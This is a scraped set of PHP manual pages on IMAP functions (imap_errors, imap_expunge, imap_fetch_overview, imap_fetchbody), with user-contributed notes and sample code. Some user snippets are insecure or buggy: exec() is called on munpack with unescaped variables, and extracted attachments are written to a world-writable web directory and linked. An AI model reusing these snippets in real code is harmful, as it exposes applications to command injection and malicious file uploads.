  $imap = @imap_open( $mailbox, $user, $pass);
  if ( ! $imap ) {
      $errors = @imap_errors();
      echo 'Login failed: ' . implode ('; ', $errors );
  }
Luke Madhanga 24-Nov-2014 05:06
For those curious, this function will return a linear array of strings as opposed to say error_get_last which returns an associative array of different things.

e.g.

 [0 => '[TRYCREATE] No folder {imap.gmail.com} (Failure)']
Brandon Kirsch at perceptionilluminates dot com 29-Jun-2013 06:27
If you do not use imap_errors() to clear the error stack, any errors that remain at the end of the script execution will be raised as PHP Notices.
Jeremy Glover 03-Apr-2007 11:41
When calling imap_close($mbox), notices will be generated for each error that has occurred within the imap functions.  To suppress these error messages (including Mailbox is empty, which is not really an error) simply call imap_errors() and then imap_close($mbox).


Delete all messages marked for deletion

  • ? imap_errors
  • imap_fetch_overview ?
  • PHP Manual
  • IMAP 函数
  • Delete all messages marked for deletion

imap_expunge

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_expunge — Delete all messages marked for deletion

说明

imap_expunge(IMAP\Connection $imap): bool

Deletes all the messages marked for deletion by imap_delete(), imap_mail_move(), or imap_setflag_full().

参数

imap

IMAP\Connection 实例。

返回值

Returns true.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

User Contributed Notes

Pavel Cernik 29-Apr-2016 02:44
imap_expunge() may change order of messages which were loaded using imap_sort().
That means, if you use foreach() on result of imap_sort() function and each pass you move/delete a message and instantly expunge them, next cycle, messages will have different numbers than imap_sort() returned and the script will fail.
boswachter at xs4all dot nl 12-Jan-2006 07:57
@eisbrenner at gidn dot de

You shouldn't call imap_expunge until before closing the connection. imap_delete tags a message for deletion, imap_expunge deletes all tagged messages. i.e.:
for ($i = 0; $i < $num; $i++) {
  imap_delete($box, $i);
}
imap_expunge($box);

imap_expunge should not be in your inner loop.


Read an overview of the information in the headers of the given message

  • ? imap_expunge
  • imap_fetchbody ?
  • PHP Manual
  • IMAP 函数
  • Read an overview of the information in the headers of the given message

imap_fetch_overview

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetch_overview — Read an overview of the information in the headers of the given message

说明

imap_fetch_overview(IMAP\Connection $imap, string $sequence, int $flags = 0): array|false

This function fetches mail headers for the given sequence and returns an overview of their contents.

参数

imap

IMAP\Connection 实例。

sequence

A message sequence description. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

flags

sequence will contain a sequence of message indices or UIDs, if this parameter is set to FT_UID.

返回值

Returns an array of objects describing one message header each. The object will only define a property if it exists. The possible properties are:

  • subject - the messages subject
  • from - who sent it
  • to - recipient
  • date - when was it sent
  • message_id - Message-ID
  • references - is a reference to this message id
  • in_reply_to - is a reply to this message id
  • size - size in bytes
  • uid - UID the message has in the mailbox
  • msgno - message sequence number in the mailbox
  • recent - this message is flagged as recent
  • flagged - this message is flagged
  • answered - this message is flagged as answered
  • deleted - this message is flagged for deletion
  • seen - this message is flagged as already read
  • draft - this message is flagged as being a draft
  • udate - the UNIX timestamp of the arrival date
The function returns false on failure.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_fetch_overview() example

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password")
or die("can't connect: " . imap_last_error());

$MC = imap_check($mbox);

// Fetch an overview for all messages in INBOX
$result = imap_fetch_overview($mbox,"1:{$MC->Nmsgs}",0);
foreach ($result as $overview) {
echo "#{$overview->msgno} ({$overview->date}) - From: {$overview->from}
{$overview->subject}\n";
}
imap_close($mbox);
?>

参见

  • imap_fetchheader() - Returns header for a message

User Contributed Notes

damien at dipisoft dot com 17-Jan-2021 12:06
This is not documented but I just found out that with the FT_UID flag you can use "-1" in sequence as the last identifier. Example:

<?php
    [...]
    $result = imap_fetch_overview($mbox, "$first_uid:-1", FT_UID);
    [...]
?>
vijayakumard01 at gmail dot com 15-Feb-2017 12:30
While using fetch overview it displays only single mail. i need to display mail with replied and forward and all. how its possible?
undernetangel at gmail dot com 25-Jan-2017 10:12
There is a typo in the manual. The correct return value for arrival time is:  udate not update.
Ap.Muthu 06-Oct-2015 11:31
The use of the $range parameter is explained in the example at: http://www.phpdig.net/ref/rn31re596.html

<?php
$imap = imap_open("{localhost}INBOX","graeme","inferno");

// fetch message information for message 2
// and messages 4 to 6
$info = imap_fetch_overview($imap, "2,4:6");

?>

<table border=1>
<tr><th>Read</th><th>From</th><th>Date</th><th>Subject</th></tr>

<?php
// loop through the array
foreach ($info as $msg) {
   echo "<tr>";

   // display the seen property nicely
   if ($msg->seen == 1) {
      $read = "Yes";
   } else {
      $read = "No";
   }

   // print other message information
   printf("<td>%s</td>", $read);
   printf("<td>%s</td>", $msg->from);
   printf("<td>%s</td>", $msg->date);
   printf("<td>%s</td>", $msg->subject);
}

imap_close($imap);
?>
Nitrogen 20-Feb-2015 01:18
Judging from the comments here, it appears like people are forgetting the basics to already-available PHP sorting functions. Use usort(); and the tiniest custom function ever to compare them all.

Change the arguments to imap_fetch_overview to your own, obviously.

<?php
$result = imap_fetch_overview($imap_stream, '1:10', 0);

usort($result, function($a, $b) {
  return($b->udate-$a->udate);
});
?>

This usort function will look at each overview and order them in the exact latest to oldest message order as determined by the "udate" value for each message. This works. I'm using it. They're sorted in the exact order they appear in my actual inbox. Why obfuscate it any more?
jeff at newscloud dot com 13-Jan-2014 03:25
The Remote class here (https://github.com/newscloud/mail_filter/blob/master/app/protected/models/Remote.php) has a lot of examples of processing mailbox folders with imap-fetch-overview:

        $this->open($account_id,$this->path_inbox);
         $recent_messages = @imap_search($this->stream, 'SINCE "'.date("j F Y",$tstamp).'"',SE_UID); // 30 November 2013
         if ($recent_messages===false) continue; // to do - continue into next account
         $result = imap_fetch_overview($this->stream, implode(',',array_slice($recent_messages,0,$message_limit)),FT_UID);
         foreach ($result as $item) {
           $msg = $this->parseHeader($item);
rueda dot raul at gmail dot com 18-Dec-2013 04:52
English:
I've found that for some messages, this function and also function imap_headerinfo(), can't decode the message_id information and returns an ID like "<xxxxxxxxx@unknownmsgid>"

In these cases, I use the following to get the correct messageid:

$header=imap_rfc822_parse_headers(imap_fetchheader($mbox,$msgno))

Spanish:
Con algunos mensajes, esta funcion, al igual que la funcion imap_headerinfo(), no pueden decodificar correctamente la información del ID de mensaje y devuelven un ID como este "<xxxxxxxxx@unknownmsgid>"

En esos casos, uso lo siguiente para obtener el ID de mensaje correcto:

$header=imap_rfc822_parse_headers(imap_fetchheader($mbox,$msgno))
info at djdb dot be 23-Oct-2012 07:25
If you lost a mail use this
<?php
    public function READallUnreadmail(){
        if ($headers = imap_check($this->msgbox)){
            $lastnr = $headers->Nmsgs;
            if ($mails=imap_fetch_overview($this->msgbox,"1:".$lastnr,0)){
                while (list($key, $val) = each($mails)) {
                   if (++$key>=0&&$header= imap_header($this->msgbox, $key)){
                        if($header->Unseen=='U'||$header->Recent=='R'){
                            echo "<br>".$val->msgno." - ".$val->date." - ".$val->subject."\n<br>";
                            print "IREAD".$header->Msgno;
                            //$this->getattachmentof($header->Msgno);
                        }
                    }
                }
            }
        }
    }
?>
thinice at gmail dot com 06-Apr-2011 05:31
Hopefully someone will find this a jumpstarter for a sortable, paginated list:

<?php
public function listMessages($nStart=0, $nCnt=10) {

    if (!$this->loaded) {
        return NULL;
    }

    if (($nStart+$nCnt) > $this->getNum()) {
        $nCnt = $this->getNum()-$nStart;
    }

    $aMsgs = imap_fetch_overview($this->rCon, ($nStart+1).':'.($nStart+$nCnt));
    $aRet = array();
    if ($aMsgs) {
        foreach ($aMsgs as $msg) {
            $aRet[$msg->udate] = $msg;
        }
    }

    krsort($aRet);

    var_dump($aRet);
}
?>
will 20-Jun-2009 09:43
This seems to retrieve incomplete values for headers, instead of getting the entire value, it gets the first. for example, this is a valid To: header

To: foo1@example.com,foo2@example.com
     foo3@example.com

but imap_fetch_overview will only return:
foo1@example.com
dognose 16-Jan-2009 09:15
That's right:

calling imap_fetch_overview() once is faster, than calling it
in a loop.

But if you want to get a "day sorted" list, you need to call it in a loop, cause if you enter a "string" of UIDs, they are always sorted by UID, not by the order you entered it.

Heres a little example how to get a date-sorted list:

<?php
/*Sort all msgs by Arrival Date. Newest = 0, oldest = Array Count*/
/*returns an array, containing the UIDs of messages*/
$SortedArray = imap_sort($Handle,SORTARRIVAL,1,SE_UID);

For ($i = $Start; $i< $Start + $Limit; $i++){
      /*Read UID from Sorted Array*/
      $UID = $SortedArray[$i];

      /*Get Detailed MSG Infos*/
      $Overview = imap_fetch_overview($Handle, $UID, FT_UID);

      [...]
}
?>
xhack at web dot de 20-Mar-2007 07:05
you want a sortet list of mails, but you get always the same order? your c-client seems to cause this. i realized this with linux libc6-2.3.6 and php-5.2.0

try this little code:

# here you try to sort by your criteria
$sort=@imap_sort($mbox,SORTDATE,1,SE_UID);

# here the order of the messages to fetch should be recognised, but it isn't

$tmp=@imap_fetch_overview($mbox,implode(',',$sort),FT_UID);
# so try to work around simply:
for($i=0;$i<count($tmp);$i++)
{ $liste[$i]=$tmp[array_search($tmp[$i]->uid,$sort)]; }

so now you can use the sort by date, address, and so on.
raja at aonic dot net 14-Mar-2007 11:22
Here is a function to get messages from IMAP and sort them for pagination.

<?php
    /**
     * Return array of IMAP messages for pagination
     *
     * @param   int     $page       page number to get
     * @param   int     $per_page   number of results per page
     * @param   array   $sort       array('subject', 'asc') etc
     *
     * @return  mixed   array containing imap_fetch_overview, pages, and total rows if successful, false if an error occurred
     * @author  Raja K
     */
    public function listMessages($page = 1, $per_page = 25, $sort = null) {
        $limit = ($per_page * $page);
        $start = ($limit - $per_page) + 1;
        $start = ($start < 1) ? 1 : $start;
        $limit = (($limit - $start) != ($per_page-1)) ? ($start + ($per_page-1)) : $limit;
        $info = imap_check($this->_imap_stream);
        $limit = ($info->Nmsgs < $limit) ? $info->Nmsgs : $limit;

        if(true === is_array($sort)) {
            $sorting = array(
                        'direction' => array(   'asc' => 0,
                                                'desc' => 1),

                        'by'        => array(   'date' => SORTDATE,
                                                'arrival' => SORTARRIVAL,
                                                'from' => SORTFROM,
                                                'subject' => SORTSUBJECT,
                                                'size' => SORTSIZE));
            $by = (true === is_int($by = $sorting['by'][$sort[0]]))
                            ? $by
                            : $sorting['by']['date'];
            $direction = (true === is_int($direction = $sorting['direction'][$sort[1]]))
                            ? $direction
                            : $sorting['direction']['desc'];

            $sorted = imap_sort($this->_imap_stream, $by, $direction);

            $msgs = array_chunk($sorted, $per_page);
            $msgs = $msgs[$page-1];
        }
        else
            $msgs = range($start, $limit); //just to keep it consistent

        $result = imap_fetch_overview($this->_imap_stream, implode($msgs, ','), 0);
        if(false === is_array($result)) return false;

        //sorting!
        if(true === is_array($sorted)) {
            $tmp_result = array();
            foreach($result as $r)
                $tmp_result[$r->msgno] = $r;

            $result = array();
            foreach($msgs as $msgno) {
                $result[] = $tmp_result[$msgno];
            }
        }

        $return = array('res' => $result,
                        'start' => $start,
                        'limit' => $limit,
                        'sorting' => array('by' => $sort[0], 'direction' => $sort[1]),
                        'total' => imap_num_msg($this->_imap_stream));
        $return['pages'] = ceil($return['total'] / $per_page);
        return $return;
    }
?>
Group-Office Developer 09-Apr-2004 05:21
About the sequence sorting again.
I've found that there's a significant speed improvement by preparing the sequence and then fetch them at once with large mailboxes. On small mailboxes wyou will not notice a speed difference.

But then there's the sorting problem. I've spent all night fiuring out how to do this myself. I found the solution!

Prepare an array of messages with imap_sort. Create a second array that maps the message numbers to the actuall place in the fetched array.
You know it will be in numeric order so you can make an array map with the sort() function sorting it from high to low.
Then you can proces the array fetched with imap_fetch_overview with the array_map and you will have them sorted. If you need an example look in the Group-Office code classes/imap.class.inc in a version later then 2.04.
mails at slueoend dot ch 14-Dec-2003 04:15
Not that this function and all other imap_fetch*-functions will download the whole message and not just the header information.
se at designlinks dot net 02-Jul-2003 06:42
To further explain 'warrenfalk's comment, the following sequences are exactly the same, and always returns messages with lowest UID to highest UID:

1:5
5:1
1,2,3,4,5
5,4,3,2,1
3,2,5,1,4

(always returned as 1,2,3,4,5)
suurenbroekNoSpam at ov35 dot NoSpam dot nl 14-Oct-2002 04:34
Note that these object-variables only exist when they are actually in the mail.

This means that if a mail has no subject, the property $val->subject will not exist.

Calling $val->subject will generate an notice:
Notice: Undefined property: subject in /home/html/inc/Mbox.php on line xxx

Use this to check it:
if (array_key_exists( "subject", get_object_vars($val)))
   $subj=$val->subject;
else
   $subj="";
trionon at mail dot ru 25-Feb-2002 10:13
This performance hint is useful if you need to print the result of imap_sort():

It's faster to prepare large string with UIDs and then to call imap_fetchoverview once than calling imap_fetchoverview in a loop.
steve at stevenchalker dot net 09-Nov-2001 08:26
I think if you go like a list, you can list your "hotmail" messages.
<?php
$mbox=imap_open("{imap.server.com}","user","pass");
$MC=imap_check($mbox);
$MN=$MC->Nmsgs;
$overview=imap_fetch_overview($mbox,"1:$MN",0);
$size=sizeof($overview);
for($i=$size-1;$i>=0;$i--){
$val=$overview[$i];
$msg=$val->msgno;
$from=$val->from;
$date=$val->date;
$subj=$val->subject;
echo "#$msg: From:'$from' Date:'$date' Subject:'$subj'<BR>";
imap_close($mbox);
?>


Fetch a particular section of the body of the message

  • ? imap_fetch_overview
  • imap_fetchheader ?
  • PHP Manual
  • IMAP 函数
  • Fetch a particular section of the body of the message

imap_fetchbody

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchbody — Fetch a particular section of the body of the message

说明

imap_fetchbody(
IMAP\Connection $imap,
int $message_num,
string $section,
int $flags = 0
): string|false

Fetch of a particular section of the body of the specified messages. Body parts are not decoded by this function.

参数

imap

IMAP\Connection 实例。

message_num

The message number

section

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

flags

A bitmask with one or more of the following:

  • FT_UID - The message_num is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

返回值

Returns a particular section of the body of the specified messages as a text string, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_savebody() - Save a specific body section to a file
  • imap_fetchstructure() - Read the structure of a particular message

User Contributed Notes

jab_creations at yahoo dot com 28-Oct-2020 03:08
The third parameter, the section parameter is not properly documented and I've seen a dozen or two developers in my research to figure this issue out come to hopeless conclusions. It's critical to understand that various email providers (e.g. AOL, Gmail, Microsoft, Yahoo and client programs like Thunderbird and...yes, the five thousand versions of Outlook) do NOT follow some "standard".

 - Unlike JavaScript and how PHP normally function all index numbers start at 1, NOT 0.
 - Your third/section parameter will be a whole number if there is not a second 'parts' array (I am NOT using classes here).
 - If the 'parts' array contains a 'parts' subarray you will have floating-point numbers (e.g. 1.1 or 2.1 instead of 1 or 2). If you have two parts in the 'parts' subarray you will have something such as 1.1 and 1.2 or 2.1 and 2.2 - REMEMBER: these vary by provider and there is no "STANDARD" as this is a PHP-specific issue!
 - None, some or all 'parts' arrays may be singular or contain child 'parts' subarrays, this is completely dynamic and may NOT be consistent from even the same provider!

The following presumes you have a $mail_connection and know which $email_number number you're working with:

<?php
     $i = 0;//Level 1 part references.
     $j = 0;//Level 2 part references.
     $mail_message_structure = json_decode(json_encode(imap_fetchstructure($mail_connection, $email_number)), true);//Convert AWAY from class style.

     while ($i < count($mail_message_structure['parts']))
     {
      if (isset($mail_message_structure['parts'][$i]['parts']))
      {//Multiple, contains secondary 'parts' array.
       while ($j < count($mail_message_structure['parts'][$i]['parts']))
       {
        //Remove subjectivity of "Png/PNG/png" with always lower-case.
        $mail_message_structure['parts'][$i]['parts'][$j]['subtype'] = strtolower($mail_message_structure['parts'][$i]['parts'][$j]['subtype']);
        $mail_message_structure['parts'][$i]['parts'][$j]['id_imap_fetchbody'] = ($i + 1).'.'.($j + 1);
        echo '<p>'.$i.': multi, '.$j.' '.$mail_message_structure['parts'][$i]['parts'][$j]['subtype'].': '.($i + 1).'.'.($j + 1).'</p>';
        $j++;
       }
      }
      else
      {//Single, first level.
       //Remove subjectivity of "Png/PNG/png" with always lower-case.
       $mail_message_structure['parts'][$i]['subtype'] = strtolower($mail_message_structure['parts'][$i]['subtype']);
       $mail_message_structure['parts'][$i]['id_imap_fetchbody'] = ($i + 1);
       echo '<p>'.$i.': single: '.$mail_message_structure['parts'][$i]['subtype'].': '.($i + 1).'</p>';
      }
      $i++;
     }
?>

Now that we can actually understand HOW to access specific PARTS of the email body it is a simple manner to iterate over the structure array:

<?php
     foreach ($mail_message_structure['parts'] as $k4 => $v4)
     {
      if (isset($v4['parts']))
      {
       foreach ($v4['parts'] as $k5 => $v5) {mail_imap_body($mail_connection, $email_number, $v5);}//echo '<div>MULTI: '.$v5['id_imap_fetchbody'].'; <pre>'.htmlspecialchars(print_r($v4['parts'],1)).'</pre></div>';
      }
      else {mail_imap_body($mail_connection, $email_number, $v4);}//echo '<div>SINGLE: '.$v4['id_imap_fetchbody'].'<pre>'.htmlspecialchars(print_r($v4,1)).'</pre></div>';
     }
?>
mike at lathyrus dot net 01-Jan-2015 04:37
I spent hours religously thinking that

imap_fetchbody($mbox,$email_number,1.2)

would fetch the html body, and in many cases this did not work.  It turns out that simple message can have a simple [parts] stucture so this became true:

imap_fetchbody($mbox,$email_number,1) - PLAIN
imap_fetchbody($inbox,$email_number,2) - HTML

Check for empty string before using the latter.
tabaccoandcoffee at gmail dot com 05-Sep-2014 08:01
Sorry for my English.
Rather than quoted_printable_decode, you can use the function imap_qprint ($body)
red dot ender at yahoo dot com 08-Jan-2013 01:29
I had some problems with the german umlauts from a gmail fetched text. I lost an hour trying to find a solution.

Hopefully this helps someone in need :)

<?php
$text = trim( utf8_encode( quoted_printable_decode(
                        imap_fetchbody( $this->inbox, $emailNo, $section ) ) ) );

$section was previously defined:
$section = empty( $attachments ) ? 1 : 1.1;
?>
gesti at gmx dot com 22-Jun-2012 11:10
How to give more then one option in the "options" parameter:
It took me some time to realize how easy it is, so just in case some one else would be puzzled at this point:
<?php
imap_fetchbody($imap_stream, $msg_number, $section, FT_UID | FT_PEEK);
?>
caevan at amkd dot com dot au 01-Jun-2012 02:52
I tried using the function add_part_to_array below and noticed a few errors were thrown. If there are no 'parts' in the structure then if (sizeof($obj->parts) > 0) will throw an error. As well $prefix is not defined here is the code I have updated. I have left the original lines commented out. I have tested reading emails from a gmail account and so far so good.

<?php

// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);

   if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
//        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
    if(array_key_exists('parts',$obj){
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
//            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
            $part_array[] = array('part_number' => $partno.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
//        if (sizeof($obj->parts) > 0) {
                    if(array_key_exists('parts',$obj)){
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 03-Oct-2009 11:32
The previous post contains a copy/paste error and a little added complexity.  The first function should look like this:

<?php
function create_part_array($struct) {
    if (sizeof($struct->parts) > 0) {    // There some sub parts
        foreach ($struct->parts as $count => $part) {
            add_part_to_array($part, ($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => '1', 'part_object' => $struct);
    }
   return $part_array;
}
?>
atamido at gmail dot remove dot com 17-Feb-2009 10:54
imap-fetchbody() will decode attached email messages inline with the rest of the email parts, however the way it works when handling attached email messages is inconsistent with the main email message.

With an email message that only has a text body and does not have any mime attachments, imap-fetchbody() will return the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - Body text

With an email message that is a multi-part message in MIME format, and contains the message text in plain text and HTML, and has a file.ext attachment, imap-fetchbody() will return something like the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - file.ext

Now if you attach the above email to an email with the message text in plain text and HTML, imap_fetchbody() will use this type of part number system:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - MESSAGE/RFC822 (entire attached message)
2.0 - Attached message header
2.1 - TEXT/PLAIN
2.2 - TEXT/HTML
2.3 - file.ext

Note that the file.ext is on the same level now as the plain text and HTML, and that there is no way to access the MULTIPART/ALTERNATIVE in the attached message.

Here is a modified version of some of the code from previous posts that will build an easily accessible array that includes accessible attached message parts and the message body if there aren't multipart mimes.  The $structure variable is the output of the imap_fetchstructure() function.  The returned $part_array has the field 'part_number' which contains the part number to be fed directly into the imap_fetchbody() function.

<?php
function create_part_array($structure, $prefix="") {
    //print_r($structure);
    if (sizeof($structure->parts) > 0) {    // There some sub parts
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => $prefix.'1', 'part_object' => $obj);
    }
   return $part_array;
}
// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
    if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
        //print_r($obj);
        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 02-Feb-2009 11:50
If you download an attachment labeled "winmail.dat" or "win.dat", or with the mime-type of "APPLICATION/MS-TNEF", this is a Microsoft Transport Neutral Encapsulation Format file.  It is a proprietary method for encoding several files together in a single file.  AFAIK only Outlook sends it with its default setting of sending emails in Rich Text Format.

As of PHP 5.2 there is no internal method of breaking apart these attachments.

There are external command line utilities that can be called from PHP.  Alternately, it is possible to decode these files entirely in PHP.  It appears that all current libraries are based on a plugin written by Graham Norbury for Squirrel Mail.  The only ones I've seen are in IlohaMail, Telean, Horde-Imp, and NaSMail.  The only one that I know that will also decode the RTF message is from NaSMail.

To use the NaSMail code, download the "TNEF Attachment Decoder" plugin and extract it to
plugins/attachment_tnef/

Then use this bit of code:
<?php
include_once('plugins/attachment_tnef/constants.php');
include_once('plugins/attachment_tnef/functions.php');
include_once('plugins/attachment_tnef/class/tnef.php');

// $tnef is a binary variable containing only the contents of winmail.dat
$attachment = &new TnefAttachment($tnef_debug);
$result = $attachment->decodeTnef($tnef);
$tnef_files = &$attachment->getFilesNested();
print_r($tnef_files); // See the format of the returned array
?>
fortega dot no spam plz at uamericas dot net 24-Apr-2008 01:37
To fetch the body of a "sub part" do the following thing:
<?php
$partno = "2.1"   // The first part of the second part

print_r(imap_fetchbody($mbox, $msgno, $partno));
// TODO: replace print_r for the proper function
?>

And remember... you can fetch the structure with
<?php
imap_fetchstructure($mbox, $msgno);
?>
then iterate the array of parts fetching the body.
anonymous lazy person 22-Mar-2008 08:51
Expanding on a comment below about using munpack to extract attachments, here's a lazy person's function that extracts attachments from mail with $msg_number from $mailbox and writes them to $dir. It returns an array of filenames or false if there are no attachments.

function writeAttachmentsToDisk($mailbox, $msg_number, $dir){

  if (!file_exists($dir)){
    mkdir($dir);
  }
  $filename = "tmp.eml";
  $email_file = $dir."/".$filename;
  // write the message body to disk
  imap_savebody  ($mailbox, $email_file, $msg_number);
  $command = "munpack -C $dir -fq $email_file";
  // invoke munpack which will
  // write all the attachments to $dir
  exec($command,$output);

  // if($output[0]!='Did not find anything to unpack from $filename') {
  $found_file = false;
  foreach ($output as $attach) {
    $pieces = explode(" ", $attach);
    $part = $pieces[0];
    if (file_exists($dir.$part)){
      $found_file = true;
      $files[] = $part;
    }
  }
  if (!$found_file){
    //echo ("\nMail.php : no files found - cleaning up. ");
    // didn't find any output files - delete the directory and email file
    unlink($email_file);
    rmdir($dir);
    return false;
  }
  else {
    // found some files-  just delete the email file
    unlink($email_file);
    return $files;
  }
}
tom at tomwardrop dot com 12-Mar-2008 11:08
If text has been encoded as quoted-printable (most body text is encoded as this), it must be decoded for it to be displayed correctly (without '=', '=20' and other strange text chunks all through the string).

To decode, you can use the following built-in php function...

quoted_printable_decode($string)

Hopefully I've just saved a few people from having to do a preg_replace on there email bodies.
bryn 11-Jan-2008 11:58
An alternative to munpack for rfc822 messages is ripmime http://www.pldaniels.com/ripmime/

It lets you pass it the rfc822 attachment (usually something.eml) and it recursively writes out attachments (and text and html files)
ted at qtis dot co dot nz 18-Aug-2007 01:02
Here's simple way of extending Makusnospam's little routine to flatten the entire message into an array which can be useful to quickly find the body and attachments just by walking through the array elements.

function create_part_array($structure, $prefix="") {
   $part_array = array();

    if (sizeof($structure->parts) > 0) {
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }

   return $part_array;
}

function add_part_to_array($obj, $partno, & $part_array) {

    if ($obj->type == TYPEMESSAGE) {
        parse_message($obj->parts[0], $partno.".");
    }
    else {
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }

    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
}
phpnetlover at yoz dot us 19-Apr-2007 10:15
Hi everyone

I have been inspecting the RFC's and the answer to what to display is not like Musawir Ali in 2 areas

1- You can not rely on disposition being present, not all mail software composes mail to standard, and if you would just take a quick look at the RFC's you will find out that someone can send you email where your solution will fail even though the mail is "within standards"

2- When you are presented with Alternative-multipart, assuming you will find one text-plain and one text-html, you should NOT be looking for HTML then TEXT, the last mentioned subtype is the most loyal to the original composition, you check if you can support the last, if not you simply go one step back and see the one before it, if your client supports it, you take that, and so on, this is how Alternative works, Just because HTML is best colored does not mean we should chose that, we are looking for the closest representation of the original and not for any in specific
anonymous at coward dot village 22-Feb-2007 11:08
A very easy way to handle attachments is just using munpack, with a subdirectory called attachments chmod it to 777 and then use the following bit of code (with mpack installed) on the MIME encoded body:

<?php
//email MIME body in $input
file_put_contents("attachments/body.eml",$input);
$command = "munpack -C attachments -fq body.eml";
exec($command,$output);
if($output[0]!='Did not find anything to unpack from body.eml') {
    foreach ($output as $attach) {
        $pieces = explode(" ", $attach);
        $part = $pieces[0];
        echo "<a href=\"attachments/$part\">$part</a><br>";
        }
    }
?>
web at i-ps dot net 05-Feb-2007 10:35
I had an issue with the content that was returned by imap_fetchbody - either the function itself, or the mail-server, was inserting "=\r\n" at points into the text body returned. This may depend upon the content type (i.e. plain text / csv, as opposed to something like a Word document), but you may need to do something like:

$body = preg_replace("/=(\r?)\n/", '', imap_fetchbody($mailbox, $message, $part));
jbr at ya-right dot com 14-Dec-2006 08:38
Musawir Ali comment is not totally correct, ifdisposition= 1 will never tell you 100% if there is an attachment. You must look at (ifdparameters, ifparameters) if (1) of them is greater then (0), then you need to look inside (parameters), looking at each ($obj->parameters) and check the (attribute) for (NAME, FILENAME), also be sure to set them to upper or lower case before doing your testing. That's the only way to know if you have an attachment. inline attachments will have $obj->ifid equal to 1, the $obj->id will contain the (cid). If $obj->ifid equals 0 then it's also an attachment (file type) if you have (NAME, FILENAME) as the current parameters (attribute).

<?php
        $name = '';

        if ( $parent->ifdparameters && sizeof ( $parent->dparameters ) > 0 )
        {
            foreach ( $parent->dparameters as $child )
            {
                if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                {
                    $name = strtolower ( $child->value );
                }
            }
        }

        if ( empty ( $name ) )
        {
            if ( $parent->ifparameters && sizeof ( $parent->parameters ) > 0 )
            {
                foreach ( $parent->parameters as $child )
                {
                    if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                    {
                        $name = strtolower ( $child->value );
                    }
                }
            }
        }
?>

$parent is derived from imap_fetchstructure(), as a child object if $obj->parts is set or as the $parent if $obj->parts is not set!
Musawir Ali 12-Jul-2006 10:04
For those of you trying to create a "flexible" email reader, I suggest doing the following.

Firstly, instead of going through each part of the email and decoding it, I suggest you go in a specific order.

1) First go through all the parts and search for the part that has subtype=='HTML'. If found, use that as your message body, else go to Step 2.
2) If HTML component not found, search all parts for subtype=='PLAIN'. If found, use that as your message body else print out an error message (this should never occur).
3) At this point, you already have the main body of the email that you should display. The next thing to do is to find all the attachments. You do this by going through all parts, searching for the parts with ifdisposition==1 (there can be multiple).

